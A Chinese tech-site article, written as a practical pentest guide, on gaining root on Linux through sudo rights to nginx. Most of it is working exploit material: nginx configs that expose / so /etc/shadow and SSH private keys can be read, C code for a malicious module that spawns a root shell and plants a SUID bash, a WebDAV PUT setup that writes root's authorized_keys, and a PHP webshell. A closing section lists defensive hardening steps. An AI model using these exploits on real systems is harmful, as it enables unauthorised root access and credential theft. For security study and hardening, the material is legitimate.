Nginx配置文件提权的实战指南

 更新时间:2025年09月23日 09:33:42   作者:vortex5  
在现代 Linux 系统中,nginx 通常作为 Web 服务的核心组件运行,其支持的模块化配置、灵活的路径设置以及多样的文件解析能力,本文结合一次真实场景,给大家介绍如何通过配置文件完成提权操作进行深入剖析,需要的朋友可以参考下

在现代 Linux 系统中,nginx 通常作为 Web 服务的核心组件运行,其支持的模块化配置、灵活的路径设置以及多样的文件解析能力,为渗透测试人员在本地提权过程中提供了丰富的攻击面。

本文结合一次真实场景,对 nginx 在具有 sudo 权限的情况下,如何通过配置文件完成提权操作进行深入剖析,涵盖 任意文件读取、模块加载执行、本地提权、远程命令执行等关键链路

场景复现

目标系统中,普通用户 mikannse 通过 sudo -l 被发现拥有以下权限:

User mikannse may run the following commands on Config:
    (ALL : ALL) NOPASSWD: /usr/sbin/nginx

该权限意味着:mikannse 用户可以以 root 身份运行nginx,那么我们就可以利用nginx配置文件来提权。

利用链一:任意文件读取(信息泄露)

原理说明

Nginx 中的 root 指令和 location 配置可以将系统任意目录暴露为 Web 路径,当以 user root; 身份启动 nginx 时,即可突破系统权限访问敏感文件。

恶意配置示例

user root;

events {}

http {
    server {
        listen 8080;

        location / {
            root /;
            autoindex on;
        }
    }
}

效果验证

通过浏览器或 curl 工具访问:

curl http://127.0.0.1:8080/root/.ssh/id_rsa
curl http://127.0.0.1:8080/etc/shadow

可直接读取系统中的任意文件,包括 私钥、shadow 文件、历史命令记录等敏感信息

利用链二:动态模块加载提权(本地权限提升)

原理说明

Nginx 支持通过 load_module 加载 .so 动态链接库模块,而这些模块本质上是标准的 ELF 文件,可以包含任意 C 语言构造函数代码。一旦以 root 身份加载,便可执行任意系统命令。

依赖条件

  • 系统具备 gcc 编译环境
  • 当前用户拥有写入配置与模块的权限
  • 拥有以 root 身份加载配置的能力(sudo)

构造流程

编写模块代码(rootme.c):

#include <unistd.h>
#include <stdlib.h>

__attribute__((constructor))
void pwn() {
    setuid(0); setgid(0);
    system("/bin/bash -p");
}

编译为动态模块:

gcc -fPIC -shared -o /home/mikannse/rootme.so rootme.c

编写恶意 nginx 配置文件(mikannse.conf):

load_module /home/mikannse/rootme.so;

events {}

http {}

启动 nginx 加载模块:

sudo /usr/sbin/nginx -c /home/mikannse/mikannse.conf

一旦模块被加载,构造函数立即触发,执行 /bin/bash -p,直接获得一个 root shell。

提示

模块执行方式是立即型的,若不希望 nginx 守护进程化导致 shell 消失,可在模块中执行持久化操作,如写入 SUID 文件:

system("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash");

利用链三:任意文件写入(PUT 方法 + 持久化)

原理说明

Nginx 支持通过 ngx_http_dav_module 开启 WebDAV PUT 功能,实现 HTTP 请求写入本地文件。攻击者可通过此方式将 payload 写入系统敏感位置(如 .ssh/authorized_keys/etc/passwd/etc/sudoers 等),从而实现持久化控制或提权

示例配置:

user root;

events {}

http {
    server {
        listen 8081;

        location /upload/ {
            root /root/.ssh/;
            dav_methods PUT;
            create_full_put_path on;
            client_body_temp_path /tmp;
        }
    }
}

利用方法:

上传 SSH 公钥:

curl -T id_rsa.pub http://127.0.0.1:8081/upload/authorized_keys

然后使用对应私钥 SSH 登录获取 root 权限。

利用链四:启用脚本解析(远程命令执行)

原理说明

如果目标系统安装了 PHP 与 php-fpm,攻击者可将 nginx 配置为支持 .php 脚本解析,通过上传 webshell 实现 RCE(远程命令执行)

示例配置:

user root;

events {}

http {
    server {
        listen 8082;
        root /home/mikannse/www;
        index index.php;

        location ~ \.php$ {
            fastcgi_pass unix:/run/php/php7.4-fpm.sock;
            fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
            include fastcgi_params;
        }
    }
}

上传 PHP Webshell:

<?php system($_GET['cmd']); ?>

访问:

http://127.0.0.1:8082/shell.php?cmd=id

即可实现任意系统命令执行。

利用链对比总结

利用方式所需条件影响范围持久化能力
任意文件读取user root + 监听端口整个系统文件
模块加载提权gcc + sudo 启动 nginx获得 root shell✅(写入 suid)
PUT 文件写入dav_methods 开启写入任意系统路径✅(植入 key)
脚本执行 RCE安装 php-fpm执行任意命令

防御建议

从防守角度出发,针对上述攻击链提出以下建议:

最小化 sudo 权限:

  • 严格限制 sudo nginx -c 权限,仅授予可信用户或采用 wrapper 限定路径。

禁用模块加载功能:

  • 在编译 nginx 时禁用 --with-dynamic-module
  • 或配置 /usr/sbin/nginx 为不可执行模块加载路径。

删除开发工具链:

  • 移除生产环境中不必要的 gccmake,降低本地模块构造能力。

配置最小权限用户运行 nginx:

  • 避免使用 user root 启动服务,限制文件系统访问权限。

禁止 PUT/DAV 写入:

  • 禁用 dav_methods,关闭 nginx 对 HTTP PUT 的支持。

强化 PHP-FPM 安全配置:

  • 禁止处理未知目录或不受信任路径。
  • 启用 open_basedir 限制。

结语

nginx 是一个功能强大但配置灵活的 Web 服务器,其 -c 参数在拥有 sudo 权限时可能带来严重的安全隐患。一旦攻击者能加载自定义配置文件,将可能导致从文件泄露、系统提权到远程代码执行的一整条攻击链成立。

在安全加固方面,企业应以“最小权限原则”和“攻击面最小化”为核心,避免将复杂服务的控制权下放至普通用户层级,及时审计和收敛类似配置权限,降低被攻击面。

以上就是Nginx配置文件提权的实战指南的详细内容,更多关于Nginx配置文件提权的资料请关注脚本之家其它相关文章!

相关文章

  • 利用nginx访问日志如何记录mysql中的用户id详解

    利用nginx访问日志如何记录mysql中的用户id详解

    这篇文章主要给大家介绍了关于利用nginx访问日志如何记录mysql中用户id的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面跟着小编一起来学习学习吧。
    2017-07-07
  • Nginx日志配置及状态监控方式解读

    Nginx日志配置及状态监控方式解读

    文章详细介绍了Nginx的配置技巧,包括日志配置(如access_log、log_format等模块)、状态监控(如stub_status_model编译选项)以及高级配置(如log_not_found、log_subrequest等),帮助用户全面掌握Nginx的日志管理和状态监控方法
    2025-09-09
  • win10上安装nginx的方法步骤

    win10上安装nginx的方法步骤

    这篇文章主要介绍了win10上安装nginx的方法步骤,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2019-10-10
  • Nginx可视化管理软件NginxProxyManager的使用

    Nginx可视化管理软件NginxProxyManager的使用

    NginxProxyManager是一款基于Nginx的开源可视化管理工具,支持通过WebUI简易管理Nginx服务器,支持DockerCompose快速部署在Linux、Windows、macOS上,提供SSL证书获取、多代理管理等功能,感兴趣的可以了解一下
    2024-11-11
  • Nginx gateway集群和动态网关的实现思路

    Nginx gateway集群和动态网关的实现思路

    这篇文章主要介绍了Nginx gateway集群和动态网关,动态网关即任何配置都实现不用重启网关服务器都可以及时刷新,对Nginx gateway集群相关知识感兴趣的朋友一起看看吧
    2022-10-10
  • Nginx搭建RTMP流媒体服务器的实现

    Nginx搭建RTMP流媒体服务器的实现

    本文主要介绍了Nginx搭建RTMP流媒体服务器的实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2022-07-07
  • 在Nginx中如何为页面配置用户名密码认证访问

    在Nginx中如何为页面配置用户名密码认证访问

    这篇文章主要介绍了在Nginx中如何为页面配置用户名密码认证访问的问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教
    2025-06-06
  • 权限问题导致Nginx 403 Forbidden错误的解决方法

    权限问题导致Nginx 403 Forbidden错误的解决方法

    这篇文章主要介绍了权限问题导致Nginx 403 Forbidden错误的解决方法,本文中导致 403 Forbidden错误的原因是配置文件中没有指明一个用户,需要的朋友可以参考下
    2014-08-08
  • nginx支持codeigniter的pathinfo模式url重写配置写法示例

    nginx支持codeigniter的pathinfo模式url重写配置写法示例

    这篇文章主要介绍了nginx支持codeigniter的pathinfo模式url重写配置写法示例,pathinfo模式是一种开发框架都爱用的路由模式,需要的朋友可以参考下
    2014-07-07
  • 通过nginx实现方向代理过程图解

    通过nginx实现方向代理过程图解

    这篇文章主要介绍了通过nginx实现方向代理过程图解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2020-02-02

最新评论